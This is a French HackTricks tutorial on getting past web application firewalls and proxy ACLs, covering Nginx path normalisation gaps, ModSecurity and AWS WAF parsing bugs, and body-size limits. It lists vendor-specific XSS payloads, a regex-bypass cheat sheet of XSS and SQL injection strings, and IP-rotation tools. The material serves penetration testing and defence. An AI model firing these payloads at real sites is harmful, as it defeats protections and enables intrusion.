16 KiB
Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
Bypass Nginx ACL Rules with Pathname Manipulation
Techniques de cette recherche.
Exemple de règle Nginx :
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Pour éviter les contournements, Nginx effectue une normalisation des chemins avant de les vérifier. Cependant, si le serveur backend effectue une normalisation différente (en supprimant des caractères que Nginx ne supprime pas), il pourrait être possible de contourner cette défense.
NodeJS - Express
Version Nginx | Caractères de contournement Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Version Nginx | Caractères de contournement Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Version Nginx | Caractères de contournement Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Configuration FPM Nginx :
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx est configuré pour bloquer l'accès à /admin.php
, mais il est possible de contourner cela en accédant à /admin.php/index.php
.
Comment prévenir
location ~* ^/admin {
deny all;
}
Bypass Mod Security Rules
Path Confusion
Dans ce post il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), a mal implémenté la variable REQUEST_FILENAME
qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.
Par conséquent, une requête comme http://example.com/foo%3f';alert(1);foo=
dans mod security supposera que le chemin est juste /foo
parce que %3f
est transformé en ?
terminant le chemin de l'URL, mais en réalité, le chemin que le serveur recevra sera /foo%3f';alert(1);foo=
.
Les variables REQUEST_BASENAME
et PATH_INFO
ont également été affectées par ce bug.
Quelque chose de similaire s'est produit dans la version 2 de Mod Security qui a permis de contourner une protection empêchant l'accès des utilisateurs à des fichiers avec des extensions spécifiques liées aux fichiers de sauvegarde (comme .bak
) simplement en envoyant le point encodé en URL %2e
, par exemple : https://example.com/backup%2ebak
.
Bypass AWS WAF ACL
Malformed Header
Cette recherche mentionne qu'il était possible de contourner les règles AWS WAF appliquées sur les en-têtes HTTP en envoyant un en-tête "malformé" qui n'était pas correctement analysé par AWS mais l'était par le serveur backend.
Par exemple, en envoyant la requête suivante avec une injection SQL dans l'en-tête X-Query :
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tête tandis que le serveur NODEJS le faisait (ceci a été corrigé).
Contournements génériques de WAF
Limites de taille de requête
Les WAF ont généralement une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH dépasse cette limite, le WAF ne vérifiera pas la requête.
- Pour AWS WAF, vous pouvez consulter la documentation:
Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync | 8 Ko |
Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner et Verified Access** | 64 Ko |
- D'après la documentation Azure:
Les anciens pare-feu d'application web avec le Core Rule Set 3.1 (ou inférieur) permettent des messages plus grands que 128 Ko en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille :
Si mode de prévention : Journalise et bloque la requête.
Si mode de détection : Inspecte jusqu'à la limite, ignore le reste et journalise si le Content-Length
dépasse la limite.
- D'après Akamai:
Par défaut, le WAF inspecte seulement les premiers 8 Ko d'une requête. Il peut augmenter la limite jusqu'à 128 Ko en ajoutant des métadonnées avancées.
- D'après Cloudflare:
Jusqu'à 128 Ko.
Lacunes d'inspection des actifs statiques (.js GETs)
Certaines piles CDN/WAF appliquent une inspection de contenu faible ou nulle aux requêtes GET pour les actifs statiques (par exemple, les chemins se terminant par .js
), tout en appliquant des règles globales comme la limitation de débit et la réputation IP. Combiné avec le cache automatique des extensions statiques, cela peut être exploité pour livrer ou semer des variantes malveillantes qui affectent les réponses HTML suivantes.
Cas d'utilisation pratiques :
- Envoyer des charges utiles dans des en-têtes non fiables (par exemple,
User-Agent
) sur un GET vers un chemin.js
pour éviter l'inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante mise en cache. - Utiliser une IP fraîche/propre ; une fois qu'une IP est signalée, les changements de routage peuvent rendre la technique peu fiable.
- Dans Burp Repeater, utiliser "Envoyer le groupe en parallèle" (style paquet unique) pour faire courir les deux requêtes (
.js
puis HTML) à travers le même chemin frontal.
Cela s'associe bien avec l'empoisonnement du cache par réflexion d'en-tête. Voir :
- {{#ref}} cache-deception/README.md {{#endref}}
- Comment j'ai trouvé une prise de contrôle de compte 0-Click dans un BBP public et l'ai exploitée pour accéder à des fonctionnalités de niveau Admin
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Compatibilité Unicode
Selon l'implémentation de la normalisation Unicode (plus d'infos ici), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés ici.
Exemple
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Bypass Contextual WAFs with encodings
Comme mentionné dans cet article de blog, afin de contourner les WAFs capables de maintenir un contexte de l'entrée utilisateur, nous pourrions abuser des techniques WAF pour normaliser réellement l'entrée des utilisateurs.
Par exemple, dans le post, il est mentionné que Akamai a décodé une entrée utilisateur 10 fois. Par conséquent, quelque chose comme <input/%2525252525252525253e/onfocus
sera vu par Akamai comme <input/>/onfocus
ce qui pourrait penser que c'est ok car la balise est fermée. Cependant, tant que l'application ne décode pas l'entrée 10 fois, la victime verra quelque chose comme <input/%25252525252525253e/onfocus
qui est toujours valide pour une attaque XSS.
Par conséquent, cela permet de cacher des charges utiles dans des composants encodés que le WAF va décoder et interpréter tandis que la victime ne le fera pas.
De plus, cela peut être fait non seulement avec des charges utiles encodées en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...
Dans le post, les contournements finaux suivants sont suggérés :
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
- Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
- AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
- Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Il est également mentionné qu'en fonction de comment certains WAFs comprennent le contexte de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permettait de mettre n'importe quoi entre /*
et */
(potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que /*'or sleep(5)-- -*/
ne sera pas détectée et sera valide car /*
est la chaîne de départ de l'injection et */
est commenté.
Ces types de problèmes de contexte peuvent également être utilisés pour abuser d'autres vulnérabilités que celle attendue d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter un XSS).
H2C Smuggling
{{#ref}} h2c-smuggling.md {{#endref}}
IP Rotation
- https://github.com/ustayready/fireprox: Générer une URL de passerelle API à utiliser avec ffuf
- https://github.com/rootcathacking/catspin: Semblable à fireprox
- https://github.com/PortSwigger/ip-rotate: Plugin Burp Suite qui utilise des IPs de passerelle API
- https://github.com/fyoorer/ShadowClone: Un nombre déterminé dynamiquement d'instances de conteneurs est activé en fonction de la taille du fichier d'entrée et du facteur de division, avec l'entrée divisée en morceaux pour une exécution parallèle, comme 100 instances traitant 100 morceaux d'un fichier d'entrée de 10 000 lignes avec un facteur de division de 100 lignes.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les divers contournements peuvent être trouvées sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous ont été extraits de cet article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Outils
- nowafpls: Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur
Références
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- Comment j'ai trouvé une prise de contrôle de compte 0-Click dans un BBP public et l'ai exploitée pour accéder à des fonctionnalités de niveau Admin
{{#include ../banners/hacktricks-training.md}}